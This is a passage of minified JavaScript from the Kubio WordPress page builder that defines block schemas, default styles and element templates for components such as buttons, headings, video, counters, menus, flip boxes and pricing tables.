der:"computed.showOverlayWithoutLink"}}]}]}}}},{name:ho}={name:"kubio/link",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"this is a link"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:""}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{showIcon:!1,iconPosition:"before"},style:{descendants:{icon:{size:{value:16},margin:{left:{value:10},right:{value:10}}}}}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"span"}},link:{default:!0,prefixWithTag:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}}}},{name:bo}={name:"kubio/linkgroup",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",SPACING:"spacing",H_SPACE:"hspace",H_SPACE_GROUP:"hSpaceGroup"},elementsByName:{outer:{props:{className:["h-x-container"]},wrapper:!0,default:!0},spacing:{props:{className:["h-x-container-inner"]}},hspace:{selector:" > .h-x-container-inner > *"},hSpaceGroup:{selector:" > .h-x-container-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"spacing"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:go}={name:"kubio/button",category:"kubio-basic",attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Button text"},link:{type:"object"},linkType:{type:"string",default:"link"},recommendation:{type:"object",default:{}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:null}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{justifyContent:"center",typography:{decoration:"none"}},icon:{margin:{left:{value:10},right:{value:10}}}}},props:{buttonSize:"medium",buttonWidth:"fitToContent",showIcon:!1,iconPosition:"before"}},elementsEnum:{OUTER:"outer",LINK:"link",ICON:"icon",TEXT:"text",RECOMMENDATION_PAGE_IFRAME:"recommendationPageIframe"},elementsByName:{outer:{wrapper:!0,props:{tag:"span",className:["kubio-button-container"]}},link:{default:!0,prefixWithTag:!0,useWrapperPrefix:!0,props:{tag:"a",className:["h-w-100","h-global-transition"]}},text:{props:{tag:"span",className:["kubio-inherit-typography"]}},icon:{props:{tag:"icon"},statesConfig:{default:{stateRedirectElement:"link"}}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]},{type:"element",props:{name:"recommendationPageIframe"}}]}}}},{name:yo}={name:"kubio/buttongroup",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",SPACING:"spacing",H_SPACE:"hspace",H_SPACE_GROUP:"hSpaceGroup",ICON:"icon"},elementsByName:{outer:{props:{className:["h-x-container"]},wrapper:!0,default:!0},spacing:{props:{className:["h-x-container-inner"]}},hspace:{selector:" > .h-x-container-inner > *"},hSpaceGroup:{selector:" > .h-x-container-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"spacing"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:ko}={name:"kubio/text",category:"kubio-basic",attributes:{kubio:{type:"object"},content:{type:"string",source:"html",default:""},dropCap:{type:"boolean",default:!1}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{},props:{isLead:!1}},elementsEnum:{TEXT:"text",FIRSTLETTER:"first-letter"},elementsByName:{text:{default:!0,wrapper:!0,selector:"p.wp-block.wp-block-kubio-text__text",selectorPrepend:!0,props:{tag:"p"}},"first-letter":{selector:"&::first-letter"}},template:{type:"element",props:{name:"text"}}}}},{name:fo}={name:"kubio/search-form",category:"kubio-site-data",attributes:{kubio:{type:"object"},placeholderText:{type:"string",default:"Search..."},iconName:{type:"string",default:"font-awesome/search"}},supports:{kubio:{appearanceEffect:!0,default:{props:{layout:"inputAndButton",buttonType:"icon",buttonText:"Search"},style:{descendants:{input:{border:{top:{width:{value:1,unit:"px"},style:"solid"},right:{width:{value:1,unit:"px"},style:"solid"},bottom:{width:{value:1,unit:"px"},style:"solid"},left:{width:{value:1,unit:"px"},style:"solid"}}},button:{width:{unit:"px",value:60},background:{}},icon:{size:{value:16}}}}},elementsEnum:{OUTER:"outer",PLACEHOLDER:"placeholder",FORM:"form",INPUT:"input",BUTTON:"button",ICON:"icon",BUTTONTEXT:"buttonText"},elementsByName:{outer:{wrapper:!0,default:!0,className:["search-form-container"]},placeholder:{selector:{normal:".search-input::placeholder",hover:".search-input:hover::placeholder"}},form:{props:{tag:"form"},className:["search-form"]},input:{props:{tag:"input"},className:["search-input"]},button:{props:{tag:"button"},className:["search-button"]},icon:{props:{tag:"icon"},className:["button-icon"]},buttonText:{props:{tag:"span"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"form"},children:[{type:"element",props:{name:"lightbox"}},{type:"element",props:{name:"input",shouldRender:"computed.showInput"}},{type:"element",props:{name:"button",shouldRender:"computed.showButton"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showButtonIcon"}},{type:"element",props:{name:"buttonText",shouldRender:"computed.showButtonText"}}]}]}]}}}},{name:_o}={name:"kubio/home-button",category:"kubio-site-data",supports:{kubio:{appearanceEffect:!0,elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!0,default:!0}},default:{style:{descendants:{spacing:{textAlign:"center"},link:{background:{color:"rgba(var(--kubio-color-1),1)"},typography:{color:"#ffffff"}}}}},template:{type:"element",children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}},{name:vo}={name:"kubio/heading",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},content:{type:"string",source:"html",default:"My heading is awesome"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{svgShape:{stroke:{width:{value:8,unit:"px"},color:"#000000"}}}},props:{fancy:{fancyWord:"awesome",fancyRotatingWords:"beautiful\namazing\nimpressive",typeStyle:"none",typeShape:"curly",typeAnimation:"rotate-1",bringToFront:!1,useRoundedEdges:!1,animationDuration:{value:1,unit:"s"},type:{animationDuration:{in:{value:.1,unit:"s"},out:{value:.1,unit:"s"}}}}}},elementsEnum:{TEXT:"text",SVG:"svgShape"},elementsByName:{text:{selector:".wp-block.wp-block-kubio-heading__text",selectorPrepend:!0,default:!0,wrapper:!0,useBlockProps:!1},svgShape:{selector:".text-wrapper-fancy svg path"}},template:{type:"LinkWrapper",props:{heading:!0},children:[{type:"element",props:{name:"text"}}]}}}},{name:xo}={name:"kubio/video",category:"kubio-basic",attributes:{kubio:{type:"object"},displayAs:{type:"string",default:"video"},videoCategory:{type:"string",default:"internal"},internalUrl:{type:"string",default:""},youtubeUrl:{type:"string",default:"https://www.youtube.com/watch?v=IshAk6Mwlj4&ab_channel=Kubio"},vimeoUrl:{type:"string",default:"https://vimeo.com/655007132"},aspectRatio:{type:"string",default:"16-9"},playerOptions:{type:"object",default:{startTime:"",endTime:"",autoplay:!1,mute:!1,loop:!1,playerControls:!0,modestBranding:!1,suggestedVideo:!1,privacyMode:!1,controlsColor:"",introTitle:!0,introPortrait:!0,introByLine:!0}},posterImage:{type:"object",default:{id:"",url:"",dimension:"auto",lightbox:!1,playAction:"icon",sizeSlug:""}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,assetsURLImporterMap:{internalUrl:{assetIdToAttr:"id",subpath:!1},"posterImage.url":{assetIdToAttr:"posterImage.id",subpath:!1}},default:{style:{descendants:{poster:{background:{type:"image",image:[{source:{type:"image",url:""}}]}}}},props:{}},elementsEnum:{OUTER:"outer",VIDEO:"video",POSTER:"poster",LIGHTBOX:"lightbox"},elementsByName:{outer:{wrapper:!0,default:!0},poster:{},video:{},lightbox:{}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"poster",shouldRender:"computed.displayAsPoster"},children:[{type:"wp:InnerBlocks"}]},{type:"element",props:{name:"lightbox",shouldRender:"computed.displayAsIconWithLightbox"},children:[{type:"wp:InnerBlocks"}]},{type:"element",props:{name:"video"}}]}}}},{name:Co}={name:"kubio/counter",category:"kubio-components",attributes:{kubio:{type:"object"},title:{type:"string",default:"Years"},start:{type:"number",default:0},final:{type:"number",default:100},amount:{type:"number",default:1e3},progress:{type:"object",default:{value:50,unit:"px"}},prefix:{type:"string",default:""},suffix:{type:"string",default:""},separator:{type:"string",default:"comma"},iconName:{type:"string",default:"font-awesome/star"}},supports:{kubio:{appearanceEffect:!1,default:{style:{descendants:{"progress-bar-number-wrapper":{justifyContent:"center"},title:{justifyContent:"center"},"counter-wrapper":{justifyContent:"center"},progressBarNumber:{justifyContent:"center"},icon:{width:{value:12,unit:"px"},height:{value:12,unit:"px"},margin:{right:{value:10,unit:"px"}}}}},props:{counterPosition:"same",titlePosition:"above",icon:{enabled:!1,position:"before"},counterType:"number",decimals:"todo",width:{value:200,unit:"px"},height:{value:10,unit:"px"},animationDuration:{value:2,unit:"px"},colorIn:"rgba(var(--kubio-color-2),1)",colorOut:"rgba(var(--kubio-color-1),1)",counterEmptyColor:"#ccc",titleAlign:"center"}},elementsEnum:{EDITOR_WRAPPER:"editorWrapper",OUTER:"outer",COUNTER:"counter",COUNTER_CONTAINER:"counterContainer",SIMPLE_COUNTER:"simpleCounter",COUNTERWRAPPER:"counter-wrapper",ICON:"icon",TITLE:"title",SIMPLE_TITLE:"simpleTitle",CIRCLE_TITLE:"circleTitle",BAR_TITLE:"barTitle",CIRCLE_COUNTER_WRAPPER:"circleCounterWrapper",TITLE_COUNTER_BAR:"titleCounterBar",PROGRESS_BAR:"progressBar",PROGRESS_BAR_CONTAINER:"progressBarContainer",PROGRESS_BAR_NUMBER:"progressBarNumber",PROGRESS_BAR_WRAPPER:"progressBarWrapper"},elementsByName:{editorWrapper:{wrapper:!0},outer:{default:!0,props:{className:"kubio-counter__outer"}},"counter-wrapper":{props:{className:["d-flex","align-items-center"]}},counter:{},counterContainer:{},icon:{props:{tag:"icon"}},title:{props:{className:["d-flex"]}},simpleCounter:{selector:".simple-counter"},circleCounter:{selector:".circle-counter"},barCounter:{selector:".bar-counter"},simpleTitle:{selector:".title-number"},circleTitle:{selector:".title-circle"},barTitle:{selector:".title-bar"},circleCounterWrapper:{props:{className:["h-circle-progress"]}},progressBarWrapper:{},titleCounterBar:{props:{className:["title-counter-bar","d-flex"]}},progressBar:{props:{className:["h-bar-progress"]}},progressBarContainer:{props:{className:["progress"]}},progressBarNumber:{props:{className:["progress-number"]}}},template:{type:"element",props:{name:"editorWrapper"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"counterContainer",shouldRender:"computed.showNumber"},children:[{type:"element",props:{name:"title",className:["title-number"]}},{type:"element",props:{name:"counter-wrapper"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showIcon"}},{type:"element",props:{name:"counter",className:["simple-counter"]}}]}]},{type:"element",props:{name:"counterContainer",shouldRender:"computed.showCircle"},children:[{type:"element",props:{name:"circleCounterWrapper"},children:[{type:"element",props:{name:"title",className:["title-circle"]}},{type:"element",props:{name:"counter-wrapper"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showIcon"}},{type:"element",props:{name:"counter",className:["circle-counter"]}}]}]}]},{type:"element",props:{name:"counterContainer",shouldRender:"computed.showBar"},children:[{type:"element",props:{name:"titleCounterBar"},children:[{type:"element",props:{name:"title",className:["title-bar"]}},{type:"element",props:{name:"counter",className:["bar-counter"],shouldRender:"computed.showCounterWithTitle"}}]},{type:"element",props:{name:"progressBarWrapper"},children:[{type:"element",props:{name:"progressBarContainer"},children:[{type:"element",props:{name:"progressBar"}}]},{type:"element",props:{name:"progressBarNumber",shouldRender:"computed.showCounterInside"},children:[{type:"element",props:{name:"counter",className:["bar-counter"]}}]}]}]}]}]}}}},{name:Io}={name:"kubio/icon",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},name:{type:"string",default:"font-awesome/star"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{wrapper:!0},inner:{default:!0,props:{tag:"icon",className:["h-global-transition"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"inner"}}]}]},default:{style:{descendants:{inner:{width:{value:"100",unit:"px"},height:{value:"100",unit:"px"}}}}}}}},{name:Eo}={name:"kubio/iconlist",title:"Icon List",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{outer:{flexDirection:"column",justifyContent:"center",alignContent:"center"},item:{},icon:{width:{value:16,unit:"px"},height:{value:16,unit:"px"}},text:{margin:{left:{unit:"px",value:10}}},"divider-wrapper":{alignItems:"center"},"text-wrapper":{alignItems:"center"},divider:{border:{bottom:{style:"solid",width:{value:1,unit:"px"}},left:{style:"solid",width:{value:1,unit:"px"}}}}}},props:{divider:{enabled:!1}}},elementsEnum:{OUTER:"outer",ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},elementsByName:{outer:{wrapper:!0,default:!0,props:{tag:"ul",className:"ul-list-icon"}},item:{selector:{normal:".wp-block-kubio-iconlistitem__item",hover:".wp-block-kubio-iconlistitem__item:hover",customDisabled:".kubio-is-disabled.wp-block-kubio-iconlistitem__item"}},text:{selector:{normal:".wp-block-kubio-iconlistitem__text",hover:".wp-block-kubio-iconlistitem__text:hover",customDisabled:".kubio-is-disabled .wp-block-kubio-iconlistitem__text"}},"text-wrapper":{selector:" .wp-block-kubio-iconlistitem__text-wrapper"},icon:{selector:{normal:".wp-block-kubio-iconlistitem__icon",hover:".wp-block-kubio-iconlistitem__icon:hover",customDisabled:".kubio-is-disabled .wp-block-kubio-iconlistitem__icon"}},link:{selector:{normal:"a",hover:"a:hover, a:hover .wp-block-kubio-iconlistitem__text",visited:"a:visited, a:visited .wp-block-kubio-iconlistitem__text"}},divider:{selector:" .wp-block-kubio-iconlistitem__divider"},"divider-wrapper":{selector:" .wp-block-kubio-iconlistitem__divider-wrapper"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:To}={name:"kubio/iconlistitem",title:"Icon list item",category:"kubio-basic",usesContext:["text","icon"],parent:["kubio/iconlist"],attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Icon List item"},icon:{type:"string",default:"font-awesome/plus"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},useForAll:{type:"boolean",default:!1},disabledItem:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{},props:{}},elementsEnum:{ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},elementsByName:{item:{wrapper:!1,default:!0,props:{tag:"li"}},link:{props:{tag:"a"}},icon:{props:{tag:"icon"}},text:{props:{tag:"span"}},"text-wrapper":{},"divider-wrapper":{},divider:{}},template:{type:"element",props:{name:"item"},children:[{type:"element",props:{name:"divider-wrapper",className:["first-el-spacer"],shouldRender:"computed.isFirstChild"}},{type:"LinkWrapper",children:[{type:"element",props:{name:"text-wrapper"},children:[{type:"element",props:{name:"icon"}},{type:"element",props:{name:"text"}}]}]},{type:"element",props:{name:"divider-wrapper",className:["last-el-spacer"],shouldRender:"computed.isLastChild"}},{type:"element",props:{name:"divider-wrapper"},children:[{type:"element",props:{name:"divider",shouldRender:"computed.dividerEnabled"}}]}]}}}},{name:So}={name:"kubio/menu-items",category:"kubio-basic",attributes:{location:{type:"string",default:""},id:{type:"number",default:0},kubio:{type:"object"}},supports:{kubio:{stylingDisabled:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-menu"]}}},template:{type:"element",props:{name:"outer"}},supports:{advanced:{responsive:!1}}}},usesContext:["kubio/hideSubmenu"]},{name:wo}={name:"kubio/dropdown-menu",category:"kubio-components",attributes:{kubio:{type:"object"},templateLock:{type:"string"},hideSubmenu:{type:"boolean",default:!1},showOffscreenMenuOn:{type:"string",default:""}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"sub-menu-a":{border:{bottom:{style:"none"}}}}}},elementsEnum:{SUB_MENU_A:"sub-menu-a",OUTER:"outer",HOVER_EFFECT_BORDER:"hover-effect-border",HOVER_EFFECT_BACKGROUND:"hover-effect-background"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-dropdown-menu","h-ignore-global-body-typography"]}},"hover-effect-border":{selector:"&.bordered-active-item > .kubio-menu > ul > li::before, &.bordered-active-item > .kubio-menu > ul > li::after"},"hover-effect-background":{selector:"&.solid-active-item > .kubio-menu > ul > li::before, &.solid-active-item > .kubio-menu > ul > li::after"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},supports:{advanced:{responsive:!0}}}}},{name:Po}={name:"kubio/accordion-menu",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{border:{bottom:{width:{unit:"px",value:"1"},style:"solid",color:"#808080"},top:{style:"solid",color:"#808080"},left:{style:"solid",color:"#808080"},right:{style:"solid",color:"#808080"}},typography:{size:{value:14,unit:"px"}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"40"}}},"sub-menu-a":{border:{bottom:{width:{unit:"px",value:"1"},style:"solid",color:"#808080"},top:{style:"solid",color:"#808080"},left:{style:"solid",color:"#808080"},right:{style:"solid",color:"#808080"}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"40"}},typography:{size:{value:14,unit:"px"}}},"main-menu-icon":{padding:{left:{value:20,unit:"px"},right:{value:20,unit:"px"}}},"sub-menu-icon":{padding:{left:{value:20,unit:"px"},right:{value:20,unit:"px"}}},"main-menu-ul":{"--kubio-accordion-menu-offset":{value:10,unit:"px"}}}}},elementsEnum:{OUTER:"outer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-accordion-menu","h-ignore-global-body-typography"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:Ao}={name:"kubio/menu-offscreen",category:"kubio-basic",attributes:{kubio:{type:"object"},openSide:{type:"string",default:"right"},icon:{type:"string",default:"font-awesome/navicon"}},supports:{kubio:{default:{style:{descendants:{offscreen:{background:{color:"#222B34"},width:{value:300,unit:"px",important:!0}},offscreenOverlay:{background:{color:"rgba(0,0,0,0.5)"}},icon:{background:{color:"rgba(0, 0, 0, 0.1)"},border:{top:{radius:{left:{unit:"%",value:"100"},right:{unit:"%",value:"100"}},width:{value:"0",unit:"px"},style:"solid",color:"black"},left:{width:{value:"0",unit:"px"},style:"solid",color:"black"},right:{width:{value:"0",unit:"px"},style:"solid",color:"black"},bottom:{radius:{left:{unit:"%",value:"100"},right:{unit:"%",value:"100"}},width:{value:"0",unit:"px"},style:"solid",color:"black"}},fill:"white",padding:{top:{unit:"px",value:"5"},bottom:{unit:"px",value:"5"},left:{unit:"px",value:"5"},right:{unit:"px",value:"5"}},width:{unit:"px",value:"24"},height:{unit:"px",value:"24"}}}}},elementsEnum:{CONTAINER:"container",OFFSCREEN:"offscreen",OFFSCREEN_OVERLAY:"offscreenOverlay",ICON_WRAPPER:"iconWrapper",ICON:"icon",ALIGN:"align"},elementsByName:{container:{wrapper:!0},iconWrapper:{props:{tag:"button",className:["kubio-offscreen-icon-wrapper"]}},icon:{default:!0,props:{tag:"icon"}},offscreen:{useWrapperPrefix:!1,usePrefix:!1,props:{className:["kubio-offscreen","offscreen"]}},offscreenOverlay:{useWrapperPrefix:!1,usePrefix:!1,props:{className:["kubio-offscreen-overlay"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"align"},children:[{type:"element",props:{name:"iconWrapper"},children:[{type:"element",props:{name:"icon"}}]}]},{type:"element",props:{name:"offscreenOverlay"}},{type:"element",props:{name:"offscreen"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:jo}={name:"kubio/menu-offscreen-content",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{default:!0,wrapper:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}}}},{name:Bo}={name:"kubio/map",category:"kubio-components",attributes:{kubio:{type:"object"},address:{type:"string",default:"New York"},apiKey:{type:"string",default:""},zoom:{type:"object",default:{value:5}}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{outer:{height:{value:350,unit:"px"}}}}},elementsEnum:{OUTER:"outer",WRAPPER:"wrapper",IFRAME:"iframe"},elementsByName:{outer:{wrapper:!0,default:!0},wrapper:{},iframe:{props:{className:["map-iframe"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"wrapper"},children:[{type:"element",props:{name:"iframe",tag:"iframe"}}]}]}}}},{name:No}={name:"kubio/copyright",category:"kubio-site-data",attributes:{kubio:{type:"object"},template:{type:"string",source:"html",default:"Β© {year} {site-name}"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",CONTAINER:"container"},elementsByName:{outer:{wrapper:!0},container:{default:!0,selector:"p"}},template:{type:"element",props:{name:"outer"}}}}},{name:Oo}={name:"kubio/flipbox",title:"Flip Box",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{hover:{animation:{duration:{value:1e3,unit:"ms"}}},normal:{animation:{duration:{value:1e3,unit:"ms"}}}}},props:{layout:{normal:{vSpace:{unit:"px",value:20}},hover:{vSpace:{unit:"px",value:20}}},hover:{effect:{type:"fadeIn",direction:""}}}},elementsEnum:{CONTAINER:"container",INNER:"inner",NORMAL:"normal",HOVER:"hover"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["d-flex","flipbox","d-flipbox-container"]}},inner:{props:{className:["d-flex","w-100","position-relative","border-radius-inherit","animation-overflow"]}},normal:{selector:".h-flipbox-content-container"},hover:{selector:" .h-flipbox-hover-container"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Ro}={name:"kubio/flipboxcontent",category:"kubio-basic",parent:["kubio/flipbox"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{container:{minHeight:{value:"300",unit:"px"}}}},props:{layout:{verticalAlign:"center"}}},elementsEnum:{CONTAINER:"container",INNER:"inner",VSPACE:"v-space"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["front","d-flex","animated","h-flipbox-content-container","h-hide-animation","border-radius-inherit"]}},inner:{props:{className:["h-y-container"]}},"v-space":{selector:" .wp-block-kubio-flipboxcontent__inner > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Do}={name:"kubio/flipboxhover",category:"kubio-basic",parent:["kubio/flipbox"],attributes:{kubio:{type:"object"},link:{type:"object"}},supports:{kubio:{default:{style:{descendants:{container:{display:"none",position:"absolute",width:{value:100,unit:"%"},height:{value:100,unit:"%"}}}},props:{customPosition:"topLeft",layout:{verticalAlign:"center"}}},elementsEnum:{CONTAINER:"container",INNER:"inner",VSPACE:"v-space"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["back","d-flex","h-flipbox-hover-container","animated","border-radius-inherit"]}},inner:{props:{className:["h-y-container"]}},"v-space":{selector:" .wp-block-kubio-flipboxhover__inner > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Lo}={name:"kubio/social-icons",category:"kubio-components",attributes:{kubio:{type:"object"},groupStyles:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",ICON:"icon"},elementsByName:{outer:{props:{className:["social-icons--container"]},wrapper:!0,default:!0},icon:{selector:".h-svg-icon"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},default:{props:{styleType:"shared"},style:{descendants:{outer:{textAlign:"center"},icon:{fill:"rgba(0, 0, 0, 0.5)",size:{value:32,unit:"px"},margin:{right:{value:15,unit:"px"}},padding:{right:{value:0,unit:"px"}}}}}}}}},{name:Mo}={name:"kubio/social-icon",category:"kubio-basic",parent:["kubio/social-icons"],attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:"socicon/facebook"}}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{LINK:"link",ICON:"icon"},elementsByName:{link:{wrapper:!0,prefixWithTag:!0,props:{tag:"a",className:["social-icon-link"]}},icon:{default:!0,prefixWithTag:!0,props:{tag:"icon",htmlTag:"span"},size:{value:32,unit:"px"},margin:{right:{value:15,unit:"px"}},padding:{right:{value:0,unit:"px"}}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon"}}]},useParentPrefix:!0}}},{name:Wo}={name:"kubio/pricing",category:"kubio-components",attributes:{kubio:{type:"object"},currentSymbol:{type:"string",default:"dollar"},customSymbol:{type:"string",default:""},currentPrice:{type:"string",default:"89.99"},currencyFormat:{type:"string",default:"formatOne"},sale:{type:"boolean",default:!0},originalPrice:{type:"string",default:"99.99"},preserveSpace:{type:"object",default:{current:!1,original:!1}}},supports:{kubio:{appearanceEffect:!0,default:{props:{verticalAlign:{current:{decimal:"start",symbol:"center"},original:{price:"center",decimal:"start",symbol:"center"}}},style:{descendants:{container:{justifyContent:"center"},currentPrice:{typography:{size:{value:50}}},currentSymbol:{typography:{size:{value:50}}},currentDecimal:{typography:{size:{value:30}}},originalPrice:{typography:{size:{value:30}}},originalPriceSymbol:{typography:{size:{value:30}}},originalPriceDecimal:{typography:{size:{value:15}}}}}},elementsEnum:{CONTAINER:"container",CURRENT_PRICE:"currentPrice",CURRENT_DECIMAL:"currentDecimal",CURRENT_SYMBOL:"currentSymbol",ORIGINAL_PRICE_INNER:"originalPriceInner",ORIGINAL_PRICE:"originalPrice",ORIGINAL_PRICE_DECIMAL:"originalPriceDecimal",ORIGINAL_PRICE_SYMBOL:"originalPriceSymbol"},elementsByName:{container:{wrapper:!0,default:!0},currentPrice:{props:{className:["d-flex"]}},currentDecimal:{props:{className:["align-self-start"]}},currentSymbol:{},originalPrice:{},originalPriceInner:{},originalPriceDecimal:{},originalPriceSymbol:{}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"originalPrice",shouldRender:"computed.sale"},children:[{type:"element",props:{name:"originalPriceSymbol"}},{type:"element",props:{name:"originalPriceInner"}},{type:"element",props:{name:"originalPriceDecimal"}}]},{type:"element",props:{name:"currentSymbol"}},{type:"element",props:{name:"currentPrice"}},{type:"element",props:{name:"currentDecimal"}}]}}}},{name:Ho}={name:"kubio/pricing-table",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{fullBackground:!0,layout:{equalWidth:!0,equalHeight:!0,itemsPerRow:3}}},elementsEnum:{RIBBON_TEXT:"ribbon-text",RIBBON_ICON:"ribbon-icon",RIBBON_WRAPPER:"ribbon-wrapper"},elementsByName:{"ribbon-wrapper":{props:{className:["ribbon-wrapper"]}}}}}},{name:Go}={name:"kubio/pricing-table-item",parent:["kubio/pricing-table"],category:"kubio-layout",attributes:{slug:{type:"string",default:"pricing-table-item-title"},title:{type:"string",default:"Pricing table item"},ribbon:{type:"object",default:{text:"Sale",icon:"font-awesome/star"}}},supports:{kubio:{appearanceEffect:!0,default:{props:{ribbon:{type:"text",position:"right"}},style:{descendants:{container:{margin:{top:{value:15,unit:"px"}}},"ribbon-text":{margin:{top:{value:40,unit:"px"}},height:{value:45,unit:"px"}},"ribbon-icon":{size:{value:30,unit:"px"}},"triangle-top":{border:{top:{width:{value:80,unit:"px"}},left:{width:{value:80,unit:"px"}},right:{width:{value:80,unit:"px"}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align",RIBBON:"ribbon",RIBBON_TEXT:"ribbon-text",RIBBON_TEXT_OUTSIDE:"ribbon-text-outside",TRIANGLE_TOP:"triangle-top",RIBBON_ICON:"ribbon-icon",RIBBON_WRAPPER:"ribbon-wrapper"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > 